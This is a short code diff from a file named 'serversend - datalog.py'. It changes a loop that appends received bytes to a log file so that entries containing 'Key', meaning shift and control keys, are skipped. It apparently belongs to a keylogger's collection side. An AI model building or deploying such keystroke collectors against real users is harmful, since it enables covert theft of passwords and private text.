remove the logging of non-text keys

Client/serversend - datalog.py

@@ -43,7 +43,8 @@ while True:
         break
     # write to the file the bytes we just received
     f = open(filename, 'ab')
-    f.write(bytes_read)
+    if (bytes_read.find("Key") == -1): #don't write shifts and controls
+        f.write(bytes_read)
     print(bytes_read)
     f.close()